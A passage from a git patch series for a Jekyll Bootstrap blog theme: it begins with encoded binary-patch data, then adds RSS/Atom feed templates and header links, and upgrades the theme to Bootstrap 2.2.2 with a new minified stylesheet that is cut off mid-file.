zJ)FP#7~BMLoosB<>)Y`BnyxN?%PW`qwa_nrmk;P<^+|3lA$<ii8%uY~81lp=vs^qj zbHc@jPjA%v+=Qq|+H=tEesx$(-?7Mn9R7&2+ZkE|b0%rF{pOe&2PywxrLyZ}ob?{? zS!X14D0!!&R7j4z&a_ZX7E96o-d9#)-rDWl);JNdUKsSn^M1g(Sofin)_^D2A6fsk zK%N&KDHIEtjz^2e+RnzNElc?mvW&i)!L?OOITL^U!tz7HAYtpl+few+Se~$Nk0>cC z!KnRdI-*8rENgl-h*t3^hviocbR?_BCX&(%?-)#H*`RRAUES@w^(0ey@bvFIq^EE0 zYIYPpa4Xz>{9(cUIq~=IuByDHtJskc@OXkoyhOvqjT$BRxhihe#hq<$(TaV?g(bYx zzk*$b_y4xdrKd-u!#@W)7x%!%FE62JOZu)fTpnAUKW94KXQKo9lR9BoI`nN#BV<pu zN$Y&tINUw4JJ60wNhX=$oO%xnS0~8-36@e}lO69__j)7adZ<L2U#u5vwGeo2shUYF zH*Rf1efjD`jdvTV8a6X+&!xQkbfP<z!gz1jlz##Puuh>NL^WLc-2PBnDb`!FkQ6Yw zt8#VMCqN`vOx>8A-pqa3!sg7$vF4w|C29%3h5O_{d+D-|gED!U;S&A}5QU_Uz%?vp zmMBIPvj7qQQG74PJJYIU8KAgcJcJvNO0O6=%8w|@chXvpUX6O34cERMj)m?X)jwit zWYksusgx8zcrOv1Kd4Cm%yUoW#?wfM-ee=?*pXt7dU<wL(ECgNtn7KAcQSgjF$wec z&wNDxS$nw$r4-^(dj0lt)f7DU5?+TTQ7UFh7R=*xI5;Wr=aA7JB?^0SzgQ^V;4r`? zBrN-yp=!hwMFq0PE?Y!UWLSr9S4c>vyZrhI*Zx3!VQzm2&D<yRh#LVfjXeOPcj~wR z5UG;7Ix04MSLbA=`nZloXfY{`*@7=#K0}`VWppv~RO%H}$!V*DNHvZFBHUqfI?CD0 zbx!B4^9`#pqXl&iB{Pv^*lNn33}KeCeaE4o?M=ZBEL9o|=KG==a{vbsI4@1LO3@|! z=#F_^eo|k6WLCD`I?D^lB}ZeRa3j2$+MNG{fZN~d@a`$my6AxPBfp8Irx1gDj_8y_ zB{|_Ko-%@Zv$H~Px&z9e&#zqq`(8HmN?{uv#cDixDOJ%G_;k$j?o_(Za8|9R0~pd~ zhP6EvoFeWkI{=X$R-d0BaUhyb8w0in4s%stxoODXOl;El?W^#yR`?d86Ax#>k2i(z zv;J?=_W|Z`2Nb*9*m`XJ^1ixr>GY^eNXXM8UzHKbJ%`E&g=n<QM>C-&t%U{b2>k}4 zM^eC8z9@VJ)NO6~zgW94x7psn_*GsP&AXPV>|c7+3V*`GDl?NuNHOr8_5jSBY+FrJ zxxFy&omakmacj-wPLUexLeI~s2^i^7j<QS1^o69wqChX$OY6u{tW}exT*h=kf_UuP z+XaMs<6dAuy-kT^H%eXIYHYk4Q!FTjJ*&L%*Q})SYV#u;NgCV`gwN=QJ~!7t_q2+B zpbd_ZMR9D%dyk)}nec)ZXV~q^?S+kxZJj&X5@|w?zO<x_02M#Q3a*5JM8Y&n;d~#^ zX?>diy$lDh;U-ze^bf8Wq&_j48xx9sRj~I0?AI|l`&NRKa0xj_M7{QQP8x>W$llZ# z^2}mA)Bep^+iA@Qw-LK1wT3nbnW#j??18HOX9M~EwO_4MW54*U(nB|yBja(g7FnMC zblZNR)Y{`EcNWNZ9&#=!$@W#;-?`_@7{fb;%BTG<Be%)pb!CB`M;1FsO>aNt!jg%h zP{`+<{G!`T5|=OLq>Z*{Z2O&8zMn16ACVB$Qm``DYk?tjJdb2uC7aci<-`J?E%OU+ zGrN5UtA#%|w#4Z;NP?k$>n!<|SrjF%qnK<QD=|fvQ-`MgFRin=cJ~1?W$Nv-%7>36 z-X#tb9{hRfZswTsPVZBN8H~75sHKLYIz~6u+pKzy#crwlQTpM#$E~+Abk)TD#sz#v zXX8Go`ZaF>B8Zu%M9U<U?k5{O<y&QE7KlDa9?QUr-S}#I$LYUm81UoWaH<><;>RXE zbfFb@39Y9#&~E%DMKl*GIPjFwcNZ7nuMbVEpA0WbvBjM9QA!sp{YiDoe131&NawG0 z)w7{^`zTTBX*b%&r|n~U@dMgnxo!))g;D+Qg=`Xw5@VHk^{hiH?Dbc#u;gsXHzn0i z2)8o6*&Kl>6tpGG-xYv<M}QNBKQ@Z8AUtKe=QqbSl$Amw(w@PJ2Fl*B4kD#B1X|@h zND6v-C(>B-r`9coW<<#c<0|E=wQpY(XerrkkfVOt!t*N?wvbI|9F@&~JQ7q2jXe2H zCW^MvkWX8I-=%fo@BdI{A^py@pAB`s<yjfB3(la;jxJW|8b9;qtmahyAaiMpzZU^P zxD>hd&A{*amKE*X!a7A2Yu?Z%f;af$36@t#hgGI$UAqZQr>(vfUM3&C0L=d07kpTV z65hXXqa6SYLUvQ%beIm#w8HN~d3!4?$?iB2Owr|ut8l>>rMSqaZB}JGncrpN>H)eX z?`{XC$$(nou>9J>y&RJ_GCHrPS%%Jr+GeZ-p;^lV`1YLmyxKN-u#7+}dnx}N%zgXH z$CV1rQyi4eN)t(4&9Ix9{_jMeW*4;LYis@>9EQ2Es^gfy-VKyn0lc8i{7q3yuQV}F zD6Fom;2?qz@ukzYpge~g8?BAWbC}{;E82F=WrGc<q3x&8B^qmty_aky%YQ{CKTGq< zYP!kE(69SylMU^oAELgld(|`QSIDWIzU`!z4rh5Kn4EmCqu{yU{SIwx=mqDK8w<~1 zUPFy^`6*;La<HSR(O`c-+NrbAEnz=wxz=;F=D$%Gr5~UQ*wG%^^eW0ENv91u_qR-a z$S)u&@oi_Fi#yBZUxTms_h&AvlAOS|`l_14f97W-V>0;?er)DQ&9VG84bSn{>9B(k zwM%!e%*jQ~?@0DuS;yYC#^~O_E+}d7VN;GP%ockmCFlj4DNZ%yl_X-Hn$v_=+Er1z z)xF^ugN@xFweaki3bVXB3?uwjsn55R<b|OgeId~Hv@}>D1&YMi6B+jBAEU6|0Y1ne zLxbyOnkM9BHX2f}bHa<7WG>P_pz=aP(B)D(uo1i&yvId9DaA3GTsK?WdG%g5Q5z-% zUfT;wH`Xu@LDvM>F<4<`LiFUdk7UO)oS&1>Rnv!81;V#S1gZ^;byAIw5fmjY3m)nw z?+@SmlmBCWV>bFM8|-jGB{WLeI3o9DaWo<)11@8`kh*v=cN0DNB+st4sz6R#2I0qi z4c&8ZcAexDoiEyzoZJ((D9)8bG%^Z+MCs@_Q)++#Uvn&7#CI<7^ioFM{2qLTEAfMX z#1kD>oACS6EsTK8F}{R&pahvhyt|}$lX5-EzVP=!*jL*U(=7^7%UUF#`g>m(9)4uh zN+-O*&B&PgYQ520)x+!;$#)PXM`Kgq-o1CQLPsDGuSVi?k7|gIEtmv^WewHMkLAio zl1Us*ZM8T5*j_cED4OCIiNDZ{(dj&{3{g&T+~4Y*L((GimlI~v8Q&*2;zNurHxdEX zDgWY5T-u#~Rw6AH53<&eUOA_3sJa+<`S@61`0Z+&gPPC(dA9xY-3vCHs+QQ8y<*H| zq`~2~B6ACGIIhlq0<JP>$V=$vE_&HDcwxCpLD6$_1>ZT*h{SQByL1NMw0+fOj?Wz& zFvJdbQkbJBeJ=wX#hUle7%rUXR$4yPWhM|#t(`DrC+d#^K8*!sRn%{Eee5S%bqSan z?Gaxb6y6;Dw^4Ura3@7~UnV3ahsAZxfc!%uwqZbo@PGj7@>ji1sVn}8fiB(aiz~Jo zTDXK*@oVh~gVo^Iu~o8PQNMj6)RalL?o3^H@pnjZNLWoX&@@;gDJHvX&C-&SZCkAF z?Pux@B3eZQ037cWb&FZMuP+XLz1yG`s8)?SoCs!ygWlxG$PB`Eka2i37Fv)TK{|58 zJti;S=?xo)8?eTei(HD#<H{`dIBo}QZ*qye7Ch&8W=G`>f`Jq8j>vX~5NRzRU9sf_ z>oxtdr~$>ax+OJ;^X)vsSztp0JYJsoQlX{)JP`NN^%4mv6u3oW-hBTdM2W@5-Fze> z9n9nd!<vn@x)+DSqur{lShQR5c_q20z&z9X_VI@tF-sZITiJ8(=%yDq%20jBZq4o? zgCC2nZ#R@cyO{hJ?i_$meOX?m;pkq%(#414r`r1hpFn%A^?fTAk~P~=C0`Omj7x)= z_=sB}!Gp5B>;qg7R6d&M#&&}CPAvA|mF^4XPltG`XZl9!t)5o^flxcEGJRDAZjOjF zQ0Iea%DG$E3bP&!(93|2RCY3l5t3s3J*JOik0=hGeaJ@3@H8tD7<k9<<dKwp&eQ6Z z9|U0$hb)b5lItCim6MC_Nf&^qL{S0zjAEPdi{G~l$mUBpQVcZOtKq$za5*WnwuQO{ zxF$NXUlSh-TEr%CuFbjgKX@wV^CqEZM<ObXOWagY0q?8j*FR)BnR)!IQXA#2X-7RS zQDDqU9@ib_?%osL+z(HZl~m@gbUVL(W{K>CVRqHg&`+R3j0a8@kqB}PI}{$m!yRab zvul5lL(>3*TF>n~)*#hsmwUTtKRAA2Fnk0PENdI!9GrZLu@zyKzs+&m-IKFviqv>& kg1Lm#gqI~e;$iYPkmG5c&N-g{UI@TVLkokN>#mRg2V?7pi2wiq From afec1ee1d2b0664ae139999d5254f19a14d93d71 Mon Sep 17 00:00:00 2001 From: Liu Lantao <liulantao@gmail.com> Date: Wed, 13 Feb 2013 11:44:17 +0800 Subject: [PATCH 113/144] add support for RSS feed. add link tag in page header, to support subuscribe rss/atom feed in browsers. --- _config.yml | 2 ++ _includes/themes/twitter/default.html | 5 +++++ atom.xml | 2 +- rss.xml | 28 +++++++++++++++++++++++++++ 4 files changed, 36 insertions(+), 1 deletion(-) create mode 100644 rss.xml diff --git a/_config.yml b/_config.yml index 1f0b453..8198178 100644 --- a/_config.yml +++ b/_config.yml @@ -73,6 +73,8 @@ JB : archive_path: /archive.html categories_path : /categories.html tags_path : /tags.html + atom_path : /atom.xml + rss_path : /rss.xml # Settings for comments helper # Set 'provider' to the comment provider you want to use. diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index 0703bed..513797a 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -25,6 +25,11 @@ <link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png"> --> + + <!-- atom & rss feed --> + <link href="{{ BASE_PATH }}{{ site.JB.atom_path }}" type="application/atom+xml" rel="alternate" title="Sitewide ATOM Feed"> + <link href="{{ BASE_PATH }}{{ site.JB.rss_path }}" type="application/rss+xml" rel="alternate" title="Sitewide RSS Feed"> + </head> <body> diff --git a/atom.xml b/atom.xml index f088ba4..97f6d6b 100644 --- a/atom.xml +++ b/atom.xml @@ -6,7 +6,7 @@ title : Atom Feed <feed xmlns="http://www.w3.org/2005/Atom"> <title>{{ site.title }}</title> - <link href="{{ site.production_url }}/atom.xml" rel="self"/> + <link href="{{ site.production_url }}/{{ site.atom_path }}" rel="self"/> <link href="{{ site.production_url }}"/> <updated>{{ site.time | date_to_xmlschema }}</updated> <id>{{ site.production_url }}</id> diff --git a/rss.xml b/rss.xml new file mode 100644 index 0000000..106b649 --- /dev/null +++ b/rss.xml @@ -0,0 +1,28 @@ +--- +layout: nil +title : RSS Feed +--- + +<?xml version="1.0" encoding="UTF-8" ?> +<rss version="2.0"> +<channel> + <title>{{ site.title }}</title> + <description>{{ site.title }} - {{ site.author.name }}</description> + <link>{{ site.production_url }}{{ site.rss_path }}</link> + <link>{{ site.production_url }}</link> + <lastBuildDate>{{ site.time | date_to_xmlschema }}</lastBuildDate> + <pubDate>{{ site.time | date_to_xmlschema }}</pubDate> + <ttl>1800</ttl> + +{% for post in site.posts %} + <item> + <title>{{ post.title }}</title> + <description>{{ post.content | xml_escape }}</description> + <link>{{ site.production_url }}{{ post.url }}</link> + <guid>{{ site.production_url }}{{ post.id }}</guid> + <pubDate>{{ post.date | date_to_xmlschema }}</pubDate> + </item> +{% endfor %} + +</channel> +</rss> From 29eae1f6013fc7854c059d708cf64cb8240b999d Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sun, 24 Feb 2013 01:23:01 -0800 Subject: [PATCH 114/144] Upgrade to twitter bootstrap 2.2.2 plus new styling. --- _includes/themes/twitter/default.html | 11 +- _includes/themes/twitter/post.html | 43 +- .../bootstrap/css/bootstrap.2.2.2.min.css | 782 ++++++++++++++++++ .../twitter/bootstrap/css/bootstrap.min.css | 9 - assets/themes/twitter/css/style.css | 118 ++- 5 files changed, 867 insertions(+), 96 deletions(-) create mode 100644 assets/themes/twitter/bootstrap/css/bootstrap.2.2.2.min.css delete mode 100644 assets/themes/twitter/bootstrap/css/bootstrap.min.css diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index 513797a..25c6305 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -15,7 +15,7 @@ <![endif]--> <!-- Le styles --> - <link href="{{ ASSET_PATH }}/bootstrap/css/bootstrap.min.css" rel="stylesheet"> + <link href="{{ ASSET_PATH }}/bootstrap/css/bootstrap.2.2.2.min.css" rel="stylesheet"> <link href="{{ ASSET_PATH }}/css/style.css?body=1" rel="stylesheet" type="text/css" media="all"> <!-- Le fav and touch icons --> @@ -33,10 +33,9 @@ </head> <body> - <div class="navbar"> <div class="navbar-inner"> - <div class="container-fluid"> + <div class="container-narrow"> <a class="brand" href="{{ HOME_PATH }}">{{ site.title }}</a> <ul class="nav"> {% assign pages_list = site.pages %} @@ -47,12 +46,12 @@ </div> </div> - <div class="container-fluid"> + <div class="container-narrow"> <div class="content"> {{ content }} </div> - + <hr> <footer> <p>© {{ site.author.name }} {{ site.time | date: '%Y' }} with help from <a href="http://jekyllbootstrap.com" target="_blank" title="The Definitive Jekyll Blogging Framework">Jekyll Bootstrap</a> @@ -60,7 +59,7 @@ </p> </footer> - </div> <!-- /container-fluid --> + </div> {% include JB/analytics %} </body> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 3728d43..304743a 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -2,9 +2,31 @@ <h1>{{ page.title }} {% if page.tagline %}<small>{{page.tagline}}</small>{% endif %}</h1> </div> -<div class="row-fluid"> - <div class="span8"> - {{ content }} +<div class="row-fluid post-full"> + <div class="span12"> + <div class="date"> + <span>{{ page.date | date_to_long_string }}</strong> + </div> + <div class="content"> + {{ content }} + </div> + + {% unless page.categories == empty %} + <ul class="tag_box inline"> + <li><i class="icon-folder-open"></i></li> + {% assign categories_list = page.categories %} + {% include JB/categories_list %} + </ul> + {% endunless %} + + {% unless page.tags == empty %} + <ul class="tag_box inline"> + <li><i class="icon-tags"></i></li> + {% assign tags_list = page.tags %} + {% include JB/tags_list %} + </ul> + {% endunless %} + <hr> <div class="pagination"> <ul> @@ -24,17 +46,4 @@ <h1>{{ page.title }} {% if page.tagline %}<small>{{page.tagline}}</small>{% endi <hr> {% include JB/comments %} </div> - - <div class="span4"> - <h4>Published</h4> - <div class="date"><span>{{ page.date | date_to_long_string }}</span></div> - - {% unless page.tags == empty %} - <h4>Tags</h4> - <ul class="tag_box"> - {% assign tags_list = page.tags %} - {% include JB/tags_list %} - </ul> - {% endunless %} - </div> -</div> +</div> \ No newline at end of file diff --git a/assets/themes/twitter/bootstrap/css/bootstrap.2.2.2.min.css b/assets/themes/twitter/bootstrap/css/bootstrap.2.2.2.min.css new file mode 100644 index 0000000..9f19ba6 --- /dev/null +++ b/assets/themes/twitter/bootstrap/css/bootstrap.2.2.2.min.css @@ -0,0 +1,782 @@ +/*! + * Bootstrap v2.2.2 + * + * Copyright 2012 Twitter, Inc + * Licensed under the Apache License v2.0 + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Designed and built with all the love in the world @twitter by @mdo and @fat. + */ +.clearfix{*zoom:1;}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0;} +.clearfix:after{clear:both;} +.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;} +.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} +article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block;} +audio,canvas,video{display:inline-block;*display:inline;*zoom:1;} +audio:not([controls]){display:none;} +html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;} +a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} +a:hover,a:active{outline:0;} +sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline;} +sup{top:-0.5em;} +sub{bottom:-0.25em;} +img{max-width:100%;width:auto\9;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic;} +#map_canvas img,.google-maps img{max-width:none;} +button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle;} +button,input{*overflow:visible;line-height:normal;} +button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0;} +button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer;} +label,select,button,input[type="button"],input[type="reset"],input[type="submit"],input[type="radio"],input[type="checkbox"]{cursor:pointer;} +input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield;} +input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none;} +textarea{overflow:auto;vertical-align:top;} +@media print{*{text-shadow:none !important;color:#000 !important;background:transparent !important;box-shadow:none !important;} a,a:visited{text-decoration:underline;} a[href]:after{content:" (" attr(href) ")";} abbr[title]:after{content:" (" attr(title) ")";} .ir a:after,a[href^="javascript:"]:after,a[href^="#"]:after{content:"";} pre,blockquote{border:1px solid #999;page-break-inside:avoid;} thead{display:table-header-group;} tr,img{page-break-inside:avoid;} img{max-width:100% !important;} @page {margin:0.5cm;}p,h2,h3{orphans:3;widows:3;} h2,h3{page-break-after:avoid;}}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333333;background-color:#ffffff;} +a{color:#0088cc;text-decoration:none;} +a:hover{color:#005580;text-decoration:underline;} +.img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} +.img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.1);} +.img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px;} +.row{margin-left:-20px;*zoom:1;}.row:before,.row:after{display:table;content:"";line-height:0;} +.row:after{clear:both;} +[class*="span"]{float:left;min-height:1px;margin-left:20px;} +.container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:940px;} +.span12{width:940px;} +.span11{width:860px;} +.span10{width:780px;} +.span9{width:700px;} +.span8{width:620px;} +.span7{width:540px;} +.span6{width:460px;} +.span5{width:380px;} +.span4{width:300px;} +.span3{width:220px;} +.span2{width:140px;} +.span1{width:60px;} +.offset12{margin-left:980px;} +.offset11{margin-left:900px;} +.offset10{margin-left:820px;} +.offset9{margin-left:740px;} +.offset8{margin-left:660px;} +.offset7{margin-left:580px;} +.offset6{margin-left:500px;} +.offset5{margin-left:420px;} +.offset4{margin-left:340px;} +.offset3{margin-left:260px;} +.offset2{margin-left:180px;} +.offset1{margin-left:100px;} +.row-fluid{width:100%;*zoom:1;}.row-fluid:before,.row-fluid:after{display:table;content:"";line-height:0;} +.row-fluid:after{clear:both;} +.row-fluid [class*="span"]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;} +.row-fluid [class*="span"]:first-child{margin-left:0;} +.row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.127659574468085%;} +.row-fluid .span12{width:100%;*width:99.94680851063829%;} +.row-fluid .span11{width:91.48936170212765%;*width:91.43617021276594%;} +.row-fluid .span10{width:82.97872340425532%;*width:82.92553191489361%;} +.row-fluid .span9{width:74.46808510638297%;*width:74.41489361702126%;} +.row-fluid .span8{width:65.95744680851064%;*width:65.90425531914893%;} +.row-fluid .span7{width:57.44680851063829%;*width:57.39361702127659%;} +.row-fluid .span6{width:48.93617021276595%;*width:48.88297872340425%;} +.row-fluid .span5{width:40.42553191489362%;*width:40.37234042553192%;} +.row-fluid .span4{width:31.914893617021278%;*width:31.861702127659576%;} +.row-fluid .span3{width:23.404255319148934%;*width:23.351063829787233%;} +.row-fluid .span2{width:14.893617021276595%;*width:14.840425531914894%;} +.row-fluid .span1{width:6.382978723404255%;*width:6.329787234042553%;} +.row-fluid .offset12{margin-left:104.25531914893617%;*margin-left:104.14893617021275%;} +.row-fluid .offset12:first-child{margin-left:102.12765957446808%;*margin-left:102.02127659574467%;} +.row-fluid .offset11{margin-left:95.74468085106382%;*margin-left:95.6382978723404%;} +.row-fluid .offset11:first-child{margin-left:93.61702127659574%;*margin-left:93.51063829787232%;} +.row-fluid .offset10{margin-left:87.23404255319149%;*margin-left:87.12765957446807%;} +.row-fluid .offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%;} +.row-fluid .offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%;} +.row-fluid .offset9:first-child{margin-left:76.59574468085106%;*margin-left:76.48936170212764%;} +.row-fluid .offset8{margin-left:70.2127659574468%;*margin-left:70.10638297872339%;} +.row-fluid .offset8:first-child{margin-left:68.08510638297872%;*margin-left:67.9787234042553%;} +.row-fluid .offset7{margin-left:61.70212765957446%;*margin-left:61.59574468085106%;} +.row-fluid .offset7:first-child{margin-left:59.574468085106375%;*margin-left:59.46808510638297%;} +.row-fluid .offset6{margin-left:53.191489361702125%;*margin-left:53.085106382978715%;} +.row-fluid .offset6:first-child{margin-left:51.063829787234035%;*margin-left:50.95744680851063%;} +.row-fluid .offset5{margin-left:44.68085106382979%;*margin-left:44.57446808510638%;} +.row-fluid .offset5:first-child{margin-left:42.5531914893617%;*margin-left:42.4468085106383%;} +.row-fluid .offset4{margin-left:36.170212765957444%;*margin-left:36.06382978723405%;} +.row-fluid .offset4:first-child{margin-left:34.04255319148936%;*margin-left:33.93617021276596%;} +.row-fluid .offset3{margin-left:27.659574468085104%;*margin-left:27.5531914893617%;} +.row-fluid .offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%;} +.row-fluid .offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%;} +.row-fluid .offset2:first-child{margin-left:17.02127659574468%;*margin-left:16.914893617021278%;} +.row-fluid .offset1{margin-left:10.638297872340425%;*margin-left:10.53191489361702%;} +.row-fluid .offset1:first-child{margin-left:8.51063829787234%;*margin-left:8.404255319148938%;} +[class*="span"].hide,.row-fluid [class*="span"].hide{display:none;} +[class*="span"].pull-right,.row-fluid [class*="span"].pull-right{float:right;} +.container{margin-right:auto;margin-left:auto;*zoom:1;}.container:before,.container:after{display:table;content:"";line-height:0;} +.container:after{clear:both;} +.container-fluid{padding-right:20px;padding-left:20px;*zoom:1;}.container-fluid:before,.container-fluid:after{display:table;content:"";line-height:0;} +.container-fluid:after{clear:both;} +p{margin:0 0 10px;} +.lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px;} +small{font-size:85%;} +strong{font-weight:bold;} +em{font-style:italic;} +cite{font-style:normal;} +.muted{color:#999999;} +a.muted:hover{color:#808080;} +.text-warning{color:#c09853;} +a.text-warning:hover{color:#a47e3c;} +.text-error{color:#b94a48;} +a.text-error:hover{color:#953b39;} +.text-info{color:#3a87ad;} +a.text-info:hover{color:#2d6987;} +.text-success{color:#468847;} +a.text-success:hover{color:#356635;} +h1,h2,h3,h4,h5,h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-weight:normal;line-height:1;color:#999999;} +h1,h2,h3{line-height:40px;} +h1{font-size:38.5px;} +h2{font-size:31.5px;} +h3{font-size:24.5px;} +h4{font-size:17.5px;} +h5{font-size:14px;} +h6{font-size:11.9px;} +h1 small{font-size:24.5px;} +h2 small{font-size:17.5px;} +h3 small{font-size:14px;} +h4 small{font-size:14px;} +.page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eeeeee;} +ul,ol{padding:0;margin:0 0 10px 25px;} +ul ul,ul ol,ol ol,ol ul{margin-bottom:0;} +li{line-height:20px;} +ul.unstyled,ol.unstyled{margin-left:0;list-style:none;} +ul.inline,ol.inline{margin-left:0;list-style:none;}ul.inline >li,ol.inline >li{display:inline-block;padding-left:5px;padding-right:5px;} +dl{margin-bottom:20px;} +dt,dd{line-height:20px;} +dt{font-weight:bold;} +dd{margin-left:10px;} +.dl-horizontal{*zoom:1;}.dl-horizontal:before,.dl-horizontal:after{display:table;content:"";line-height:0;} +.dl-horizontal:after{clear:both;} +.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;} +.dl-horizontal dd{margin-left:180px;} +hr{margin:20px 0;border:0;border-top:1px solid #eeeeee;border-bottom:1px solid #ffffff;} +abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999999;} +abbr.initialism{font-size:90%;text-transform:uppercase;} +blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eeeeee;}blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:25px;} +blockquote small{display:block;line-height:20px;color:#999999;}blockquote small:before{content:'\2014 \00A0';} +blockquote.pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eeeeee;border-left:0;}blockquote.pull-right p,blockquote.pull-right small{text-align:right;} +blockquote.pull-right small:before{content:'';} +blockquote.pull-right small:after{content:'\00A0 \2014';} +q:before,q:after,blockquote:before,blockquote:after{content:"";} +address{display:block;margin-bottom:20px;font-style:normal;line-height:20px;} +code,pre{padding:0 3px 2px;font-family:Monaco,Menlo,Consolas,"Courier New",monospace;font-size:12px;color:#333333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +code{padding:2px 4px;color:#d14;background-color:#f7f7f9;border:1px solid #e1e1e8;white-space:nowrap;} +pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}pre.prettyprint{margin-bottom:20px;} +pre code{padding:0;color:inherit;white-space:pre;white-space:pre-wrap;background-color:transparent;border:0;} +.pre-scrollable{max-height:340px;overflow-y:scroll;} +.label,.badge{display:inline-block;padding:2px 4px;font-size:11.844px;font-weight:bold;line-height:14px;color:#ffffff;vertical-align:baseline;white-space:nowrap;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#999999;} +.label{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +.badge{padding-left:9px;padding-right:9px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px;} +.label:empty,.badge:empty{display:none;} +a.label:hover,a.badge:hover{color:#ffffff;text-decoration:none;cursor:pointer;} +.label-important,.badge-important{background-color:#b94a48;} +.label-important[href],.badge-important[href]{background-color:#953b39;} +.label-warning,.badge-warning{background-color:#f89406;} +.label-warning[href],.badge-warning[href]{background-color:#c67605;} +.label-success,.badge-success{background-color:#468847;} +.label-success[href],.badge-success[href]{background-color:#356635;} +.label-info,.badge-info{background-color:#3a87ad;} +.label-info[href],.badge-info[href]{background-color:#2d6987;} +.label-inverse,.badge-inverse{background-color:#333333;} +.label-inverse[href],.badge-inverse[href]{background-color:#1a1a1a;} +.btn .label,.btn .badge{position:relative;top:-1px;} +.btn-mini .label,.btn-mini .badge{top:0;} +table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0;} +.table{width:100%;margin-bottom:20px;}.table th,.table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #dddddd;} +.table th{font-weight:bold;} +.table thead th{vertical-align:bottom;} +.table caption+thead tr:first-child th,.table caption+thead tr:first-child td,.table colgroup+thead tr:first-child th,.table colgroup+thead tr:first-child td,.table thead:first-child tr:first-child th,.table thead:first-child tr:first-child td{border-top:0;} +.table tbody+tbody{border-top:2px solid #dddddd;} +.table .table{background-color:#ffffff;} +.table-condensed th,.table-condensed td{padding:4px 5px;} +.table-bordered{border:1px solid #dddddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.table-bordered th,.table-bordered td{border-left:1px solid #dddddd;} +.table-bordered caption+thead tr:first-child th,.table-bordered caption+tbody tr:first-child th,.table-bordered caption+tbody tr:first-child td,.table-bordered colgroup+thead tr:first-child th,.table-bordered colgroup+tbody tr:first-child th,.table-bordered colgroup+tbody tr:first-child td,.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td{border-top:0;} +.table-bordered thead:first-child tr:first-child>th:first-child,.table-bordered tbody:first-child tr:first-child>td:first-child{-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;} +.table-bordered thead:first-child tr:first-child>th:last-child,.table-bordered tbody:first-child tr:first-child>td:last-child{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;} +.table-bordered thead:last-child tr:last-child>th:first-child,.table-bordered 